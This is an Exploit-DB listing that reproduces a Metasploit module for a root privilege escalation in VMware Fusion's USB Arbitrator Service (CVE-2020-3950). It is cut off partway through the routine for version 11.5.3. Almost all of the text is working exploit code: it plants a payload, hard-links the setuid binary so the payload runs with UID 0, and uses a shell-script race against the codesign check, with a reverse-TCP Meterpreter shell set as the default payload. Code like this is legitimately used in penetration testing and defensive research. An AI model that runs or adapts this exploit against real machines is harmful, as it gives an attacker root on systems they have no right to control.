Exploit-DB #48337
Description: VMware Fusion - USB Arbitrator Setuid Privilege Escalation (Metasploit)
Type: local
Platform: macos
Date: 2020-04-16
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::OSX::Priv
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => 'VMware Fusion USB Arbitrator Setuid Privilege Escalation',
        'Description'    => %q(
          This exploits an improper use of setuid binaries within VMware Fusion 10.1.3 - 11.5.3.
          The Open VMware USB Arbitrator Service can be launched outide of its standard path
          which allows loading of an attacker controlled binary.  By creating a payload in the
          user home directory in a specific folder, and creating a hard link to the 'Open VMware
          USB Arbitrator Service' binary, we're able to launch it temporarily to start our payload
          with an effective UID of 0.
          @jeffball55 discovered an incomplete patch in 11.5.3 with a TOCTOU race.
          Successfully tested against 10.1.6, 11.5.1, 11.5.2, and 11.5.3.
        ),
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'h00die', # msf module
            'Dhanesh Kizhakkinan', # discovery
            'Rich Mirch', # edb module
            'jeffball <jeffball@dc949.org>', # 11.5.3 exploit
            'grimm'
          ],
        'Platform'       => [ 'osx' ],
        'Arch'           => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes'   => [ 'shell', 'meterpreter' ],
        'Targets'        => [[ 'Auto', {} ]],
        'Privileged'     => true,
        'References'     =>
          [
            [ 'CVE', '2020-3950' ],
            [ 'EDB', '48235' ],
            [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0005.html' ],
            [ 'URL', 'https://twitter.com/jeffball55/status/[PII_REDACTED]53110785?s=20' ],
            [ 'URL', 'https://github.com/grimm-co/NotQuite0DayFriday/blob/master/2020.03.17-vmware-fusion/notes.txt' ]
          ],
        'DisclosureDate' => 'Mar 17 2020',
        'DefaultOptions' =>
          {
            'PAYLOAD'    => 'osx/x64/meterpreter_reverse_tcp',
            'WfsDelay'   => 15
          }
      )
    )

    register_options [
      OptInt.new('MAXATTEMPTS', [true, 'Maximum attempts to win race for 11.5.3', 75])
    ]

    register_advanced_options [
      OptBool.new('ForceExploit', [false, 'Override check result', false])
    ]
  end

  def open_usb_service
    'Open VMware USB Arbitrator Service'
  end

  def usb_service
    'VMware USB Arbitrator Service'
  end

  def get_home_dir
    home = cmd_exec 'echo ~'
    if home.blank?
      fail_with Failure::BadConfig, 'Unable to determine home dir for shell.'
    end
    home
  end

  def content_dir
    "#{get_home_dir}/Contents"
  end

  def base_dir
    "#{content_dir}/Library/services/"
  end

  def kill_process(executable)
    pid_kill = cmd_exec %(ps ax | grep #{executable} | grep -v grep | awk '{print "kill -9 " $1}')
    cmd_exec pid_kill
  end

  def get_version
    # Thanks to @ddouhine on github for this answer!
    version_raw = cmd_exec "plutil -p '/Applications/VMware Fusion.app/Contents/Info.plist' | grep CFBundleShortVersionString"
    /=> "(?<version>\d{0,2}\.\d{0,2}\.\d{0,2})"/ =~ version_raw #supposed 11.x is also vulnerable, but everyone whos tested shows 11.5.1 or 11.5.2
    if version_raw.blank?
      fail_with Failure::BadConfig, 'Unable to determine VMware Fusion version.  Set ForceExploit to override.'
    end
    Gem::Version.new(version)
  end

  def pre_11_5_3
    # Upload payload executable & chmod
    payload_filename = "#{base_dir}#{usb_service}"
    print_status "Uploading Payload: #{payload_filename}"
    write_file payload_filename, generate_payload_exe
    chmod payload_filename, 0o755
    register_file_for_cleanup payload_filename

    # create folder structure and hard link to the original binary
    root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later
    link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/"
    cmd_exec "mkdir -p #{link_folder}"
    cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'"
    print_status "Created folder (#{link_folder}) and link"

    print_status 'Starting USB Service (5 sec pause)'
    # XXX: The ; used by cmd_exec will interfere with &, so pad it with :
    cmd_exec "cd #{link_folder}; '#{link_folder}/#{open_usb_service}' & :"
    Rex.sleep 5 # give time for the service to execute our payload
    print_status 'Killing service'
    cmd_exec "pkill '#{open_usb_service}'"
    print_status "Deleting #{root_link_folder}"
    rm_rf root_link_folder
  end

  def exactly_11_5_3
    # Upload payload executable & chmod
    payload_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
    print_status "Uploading Payload to #{payload_name}"
    write_file payload_name, generate_payload_exe
    chmod payload_name, 0o755
    #create race with codesign check
    root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later
    link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/"
    print_status 'Uploading race condition executable.'
    race = <<~EOF
      #!/bin/sh
      while [ "1" = "1" ]; do
          ln -f '/Applications/VMware Fusion.app/Contents/Library/services/#{usb_service}' '#{base_dir}#{usb_service}'
          ln -f '#{payload_name}' '#{base_dir}#{usb_service}'
      done
    EOF
    racer_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
    upload_and_chmodx racer_name, race